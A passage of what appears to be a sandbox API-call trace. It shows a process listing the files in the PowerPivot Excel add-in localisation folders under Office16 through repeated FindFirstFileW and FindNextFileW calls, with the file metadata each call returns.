ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0226.588] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.tlb", cAlternateFileName="POWERP~1.TLB")) returned 1 [0226.588] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0226.588] GetProcessHeap () returned 0xc10000 [0226.588] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.728] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.729] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0226.729] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf263c7d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0226.729] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0226.729] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0226.729] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x200030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0226.729] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00af60a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.729] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0226.730] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.730] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86cced8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0226.730] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.730] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2984c3b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2984c3b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f7aa31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0226.730] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0226.730] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0226.730] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x637c06e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x637c06e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x637c06e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0226.730] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1860d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1860d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0226.731] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0226.731] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa937f07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0226.731] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0226.731] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0226.731] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0226.731] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0226.732] GetProcessHeap () returned 0xc10000 [0226.732] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.732] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0226.732] GetProcessHeap () returned 0xc10000 [0226.732] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0226.735] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.736] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0226.736] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0226.736] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0226.737] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c3d17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c3d17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0226.737] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86cced8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x200030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0226.737] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0226.737] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe00baf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.737] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4ff2d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7a2268a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7a2268a, 